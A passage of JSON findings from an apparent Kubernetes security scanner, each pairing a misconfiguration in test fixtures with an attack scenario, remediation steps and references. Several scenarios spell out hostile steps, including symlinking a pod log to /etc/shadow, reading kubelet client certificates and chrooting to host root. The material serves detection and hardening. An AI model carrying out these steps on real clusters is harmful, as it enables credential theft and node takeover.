    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `sign signers/kubernetes.io/kube-apiserver-client + update certificatesigningrequests/status` that enables the first hop (`ServiceAccount/csr-fixtures/sa-csr-sign` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "csr_sign",
        "technique": "KUBE-PRIVESC-024",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-csr-sign",
          "namespace": "csr-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "sign signers/kubernetes.io/kube-apiserver-client + update certificatesigningrequests/status",
        "gains": "is an authorized signer for apiserver client certificates and can issue one for any identity without an approval step"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PV-HOSTPATH-001:Deployment:pv-hostpath-fixtures:pv-hostpath-app:kubelet-data",
    "rule_id": "KUBE-PV-HOSTPATH-001",
    "severity": "HIGH",
    "score": 8.6,
    "category": "privilege_escalation",
    "title": "Pod-mounted PVC `pvc-hostpath-kubelet` is backed by a sensitive hostPath PV `pv-hostpath-kubelet`",
    "description": "Workload `Deployment/pv-hostpath-fixtures/pv-hostpath-app` mounts PersistentVolumeClaim `pvc-hostpath-kubelet` via volume `kubelet-data`. The bound PersistentVolume `pv-hostpath-kubelet` uses `spec.hostPath.path: /var/lib/kubelet`, a sensitive node directory. Because Pod Security Admission inspects the PodSpec only and never follows the PVC -\u003e PV indirection, this is a real Baseline/Restricted bypass: a namespace labeled `pod-security.kubernetes.io/enforce=baseline` (or `restricted`) would block a direct `volumes.hostPath`, but happily admits a Pod that mounts an equivalent path through a PVC.\n\nOnce mounted, the host directory is reachable from inside the container with the same blast radius as a direct hostPath: read kubelet credentials under `/var/lib/kubelet`, write SUID binaries via `/`, drop sshd authorized_keys via `/root`, leak `/etc/shadow` or kubeadm config from `/etc`, talk to the container runtime through `/var/run/{docker,containerd}.sock`. The PSA label gives a false sense of safety; the cluster operator typically discovers the bypass only when an unauthorized pod has already escaped to the node.\n\nReal-world: a tenant with permission to create PVCs in their own namespace, plus cluster-wide pre-provisioned hostPath PVs (a common pattern for local-path-provisioner without scope restrictions), can claim the sensitive PV by name and mount it from a Baseline-enforced namespace. The Pod admits cleanly; the breakout follows.",
    "resource": {
      "kind": "Deployment",
      "name": "pv-hostpath-app",
      "namespace": "pv-hostpath-fixtures",
      "api_group": "apps"
    },
    "namespace": "pv-hostpath-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/pv-hostpath-fixtures/pv-hostpath-app`"
    },
    "impact": "Same as a direct hostPath mount of /var/lib/kubelet (node takeover, kubelet credential theft, lateral movement to every other pod on the node). PSA enforce labels do not block this path, so attenuation does not apply.",
    "attack_scenario": [
      "Attacker has create-pod and create-pvc rights in a namespace that has `pod-security.kubernetes.io/enforce=baseline` or `restricted`.",
      "They list pre-provisioned PersistentVolumes (`kubectl get pv`) and identify `pv-hostpath-kubelet`, which uses `hostPath: /var/lib/kubelet`.",
      "They create a PersistentVolumeClaim referencing `pv-hostpath-kubelet` by `volumeName`. The PVC binds.",
      "They create a Pod that mounts the PVC at a known mount point. PSA admits the pod because the PodSpec has no `hostPath` volume - only `persistentVolumeClaim`.",
      "From inside the container, they read/write the host directory with full container-process privilege. From `/var/lib/kubelet` they extract `kubelet-client-current.pem`; from `/` they `chroot` and pivot to the node."
    ],
    "evidence": {
      "claim_name": "pvc-hostpath-kubelet",
      "path": "/var/lib/kubelet",
      "pv_name": "pv-hostpath-kubelet",
      "volume": "kubelet-data"
    },
    "remediation": "Remove the hostPath from PV `pv-hostpath-kubelet`, restrict who can create hostPath PVs, and stop the Pod from claiming this PV.",
    "remediation_steps": [
      "Replace `spec.hostPath` on PersistentVolume `pv-hostpath-kubelet` with a CSI driver, an `nfs`/`iscsi` source, or a strictly-scoped `local` volume on a labeled node. The hostPath PV pattern is brittle for any workload, not just from a security angle.",
      "Restrict who can create cluster-scoped PersistentVolumes (PVs are non-namespaced) and who can create hostPath-typed PVs specifically. A Kyverno/Gatekeeper ClusterPolicy can deny `spec.hostPath` PVs outright, or whitelist only paths under `/var/lib/your-app/`.",
      "Delete or unbind the PVC `pv-hostpath-fixtures/pvc-hostpath-kubelet` so the workload stops consuming the sensitive PV. If the workload genuinely needs node-local state, use a `local` volume with `nodeAffinity` and a strict `path` allowlist instead.",
      "Validate: `kubectl get pv pv-hostpath-kubelet -o jsonpath='{.spec.hostPath.path}'` returns empty."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/storage/volumes/#hostpath",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/concepts/security/pod-security-admission/",
      "https://blog.quarkslab.com/kubernetes-and-hostpath-a-love-hate-relationship.html",
      "https://github.com/kubernetes/kubernetes/issues/112744"
    ],
    "learn_more": [
      {
        "title": "Kubernetes - Volumes (hostPath)",
        "url": "https://kubernetes.io/docs/concepts/storage/volumes/#hostpath"
      },
      {
        "title": "Kubernetes - Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes - Pod Security Admission",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-admission/"
      },
      {
        "title": "Quarkslab - Kubernetes and HostPath: a Love-Hate Relationship",
        "url": "https://blog.quarkslab.com/kubernetes-and-hostpath-a-love-hate-relationship.html"
      },
      {
        "title": "PSA does not see through PVC -\u003e PV (kubernetes/kubernetes #112744)",
        "url": "https://github.com/kubernetes/kubernetes/issues/112744"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.12",
        "title": "Minimize the admission of HostPath volumes",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:pvHostPath"
    ]
  },
  {
    "id": "KUBE-ESCAPE-008:Deployment:vulnerable:socket-mounts-app:var-log",
    "rule_id": "KUBE-ESCAPE-008",
    "severity": "HIGH",
    "score": 8.5,
    "category": "privilege_escalation",
    "title": "`/var/log` mounted from host into `Deployment/vulnerable/socket-mounts-app` enables log-symlink escape primitive",
    "description": "Workload `Deployment/vulnerable/socket-mounts-app` mounts `/var/log` from the host via volume `var-log`. This directory is the canonical container-log staging area: the kubelet writes per-pod logs into `/var/log/pods/\u003cns\u003e_\u003cpod\u003e_\u003cuid\u003e/\u003ccontainer\u003e/0.log` as symlinks pointing to the runtime's actual log files.\n\nThe exploit is that `kubectl logs` causes the kubelet (running as root) to read those symlinks. If a pod can write into the host's `/var/log` (because it has the directory mounted), it can replace its own `0.log` symlink with one pointing to ANY file on the node, e.g. `/etc/shadow` or `/var/lib/kubelet/pki/kubelet-client-current.pem`. The next `kubectl logs \u003cpod\u003e` returns the contents of that file as if it were the container's stdout. This is the well-known `/var/log` symlink escape (Aqua Security, KubeHound `CE_VAR_LOG_SYMLINK`, CVE-2017-1002101, CVE-2021-25741).\n\nThe pattern is very common in misconfigured log shippers (Fluentd, Filebeat, Promtail). On multi-tenant clusters where any user can `kubectl logs` against pods they own, this is a universal arbitrary-file-read primitive.",
    "resource": {
      "kind": "Deployment",
      "name": "socket-mounts-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/socket-mounts-app`"
    },
    "impact": "Arbitrary file read on the host node as root via the kubelet's log-resolving behavior; compromise kubelet PKI, /etc/shadow, etcd snapshots, every pod's mounted secrets.",
    "attack_scenario": [
      "RCE in a pod that has `hostPath: /var/log` mounted (RW).",
      "Find own pod's log-symlink directory: `ls -la /var/log/pods/`.",
      "Replace `0.log` symlink: `ln -sf /etc/shadow /var/log/pods/\u003cns\u003e_\u003cpod\u003e_\u003cuid\u003e/\u003ccontainer\u003e/0.log`.",
      "Trigger the read: `kubectl logs \u003cpod\u003e -c \u003ccontainer\u003e` returns `/etc/shadow`.",
      "Repeat for kubelet PKI and pivot via direct apiserver auth as `system:node:\u003cnodeName\u003e`."
    ],
    "evidence": {
      "path": "/var/log",
      "volume": "var-log"
    },
    "remediation": "Do not mount `/var/log` (or its subdirectories) from the host into application pods; use the kubelet logs API or a log-aggregator sidecar pattern.",
    "remediation_steps": [
      "For log-shipper DaemonSets that genuinely need host logs, switch to read-only mount AND restrict to `/var/log/containers` and `/var/log/pods` only (not the parent `/var/log`).",
      "Configure the log shipper to refuse following symlinks (e.g. Fluent Bit `Path_Key`) and run as a non-root UID.",
      "For application pods, route logs to stdout/stderr only. Kubernetes captures these without any hostPath. Drop the hostPath mount.",
      "Validate: `kubectl get deployment/socket-mounts-app -n vulnerable -o yaml | grep -A2 hostPath` does not contain `/var/log` (or only narrow read-only sub-path)."
    ],
    "references": [
      "https://www.aquasec.com/blog/kubernetes-security-pod-escape-log-mounts/",
      "https://kubehound.io/reference/attacks/CE_VAR_LOG_SYMLINK/",
      "https://github.com/kubernetes/kubernetes/issues/104980"
    ],
    "learn_more": [
      {
        "title": "Aqua Security — Kubernetes Pod Escape Using Log Mounts",
        "url": "https://www.aquasec.com/blog/kubernetes-security-pod-escape-log-mounts/"
      },
      {
        "title": "KubeHound — CE_VAR_LOG_SYMLINK",
        "url": "https://kubehound.io/reference/attacks/CE_VAR_LOG_SYMLINK/"
      },
      {
        "title": "CVE-2021-25741 — Symlink exchange host filesystem access",
        "url": "https://github.com/kubernetes/kubernetes/issues/104980"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.001",
        "name": "Unsecured Credentials in Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1083",
        "name": "File and Directory Discovery",
        "url": "https://attack.mitre.org/techniques/T1083/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.12",
        "title": "Minimize the admission of HostPath volumes",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:hostPath"
    ]
  },
  {
    "id": "KUBE-PRIVESC-022:ServiceAccount/hookbackend-fixtures/hookbackend-operator:hookbackend-fixtures:services",
    "rule_id": "KUBE-PRIVESC-022",
    "severity": "HIGH",
    "score": 8.5,
    "category": "lateral_movement",
    "title": "Namespace `hookbackend-fixtures` only `update`/`patch` on `services` lets `ServiceAccount/hookbackend-fixtures/hookbackend-operator` re-point Service traffic",
    "description": "Subject ServiceAccount/hookbackend-fixtures/hookbackend-operator can `update`/`patch` `services` via RoleBinding `hookbackend-fixtures/hookbackend-operator` → Role `hookbackend-fixtures/hookbackend-operator`. Namespace `hookbackend-fixtures` only.\n\nA Service's selector, ports, and type are plain spec fields. Rewriting the selector points the Service at pods the holder controls, and the EndpointSlice controller republishes the backends within a second; changing the type to `ExternalName` sends clients to a hostname of the holder's choosing. Clients resolve the same name and connect to the new backend.\n\nThe built-in `edit` ClusterRole carries this verb, so inside a tenant's own namespace it is expected and not reported. The grant reaches `hookbackend-fixtures`, which hosts a Service the API server itself calls (an admission webhook backend or an aggregated API server). Re-pointing that Service, and presenting its serving certificate, puts the holder in the API server's request path; see KUBE-PRIVESC-038 for the pairing.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "hookbackend-operator",
      "namespace": "hookbackend-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "hookbackend-operator",
      "namespace": "hookbackend-fixtures",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "hookbackend-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `hookbackend-fixtures` only"
    },
    "impact": "Redirect the traffic of Services in Namespace `hookbackend-fixtures` only to backends the subject chooses, capturing or altering what their clients send.",
    "attack_scenario": [
      "Attacker confirms the verb with `kubectl auth can-i patch services --as=hookbackend-operator -n hookbackend-fixtures`.",
      "They pick a Service whose clients carry something valuable and change its selector to match a pod they run, or its type to `ExternalName` pointing at a host they control.",
      "The controller republishes the backends and the Service's clients connect to the attacker."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "hookbackend-fixtures",
      "resource_names": null,
      "resources": [
        "services"
      ],
      "scope": "namespace",
      "source_binding": "hookbackend-operator",
      "source_binding_kind": "RoleBinding",
      "source_role": "hookbackend-operator",
      "source_role_kind": "Role",
      "verbs": [
        "get",
        "list",
        "patch"
      ]
    },
    "remediation": "Remove `update`/`patch` on `services` from cluster-wide grants and from every identity bound in a namespace that hosts a webhook or aggregated API backend.",
    "remediation_steps": [
      "Drop `update`/`patch` on `services` from ServiceAccount/hookbackend-fixtures/hookbackend-operator where the grant is cluster-wide or lands in a control-plane backend namespace.",
      "Do not bind tenant, CI, or developer identities (nor the `edit` or `admin` ClusterRoles) in namespaces that host webhook or aggregated API backends; treat those namespaces like kube-system.",
      "For Services whose clients carry credentials, require mutual TLS so a redirected backend cannot present the expected identity.",
      "Verify with `kubectl auth can-i patch services --as=hookbackend-operator -n hookbackend-fixtures` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/service/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: Service (selectors, ExternalName)",
        "url": "https://kubernetes.io/docs/concepts/services-networking/service/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1557",
        "name": "Adversary-in-the-Middle",
        "url": "https://attack.mitre.org/techniques/T1557/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Service traffic and network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/cert-manager/cert-manager:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/cert-manager/cert-manager` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/cert-manager/cert-manager` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/cert-manager/cert-manager` → `/` via `node_drain_migrate` (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cert-manager",
      "namespace": "cert-manager"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/cert-manager/cert-manager` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/cert-manager/cert-manager` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/cert-manager/cert-manager`.",
      "Acting as `ServiceAccount/cert-manager/cert-manager`, the attacker uses the `node_drain_migrate` technique via `delete pods + update nodes/status`, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. node_drain_migrate [delete pods + update nodes/status]"
      ],
      "first_action": "node_drain_migrate",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "node_drain_migrate"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/cert-manager/cert-manager` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/cert-manager/cert-manager` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "node_drain_migrate",
        "technique": "KUBE-PRIVESC-016",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete pods + update nodes/status",
        "gains": "can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/cloud-eks-test/default:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/cloud-eks-test/default` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/cloud-eks-test/default` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/cloud-eks-test/default` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod cloud-eks-test/imds-pivot-app-68cfbfc794-452d5 falls back to node IAM role via IMDS\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "cloud-eks-test"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/cloud-eks-test/default` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/cloud-eks-test/default` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/cloud-eks-test/default`.",
      "Acting as `ServiceAccount/cloud-eks-test/default`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod cloud-eks-test/imds-pivot-app-68cfbfc794-452d5 falls back to node IAM role via IMDS.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/cloud-eks-test/default` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/cloud-eks-test/default` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
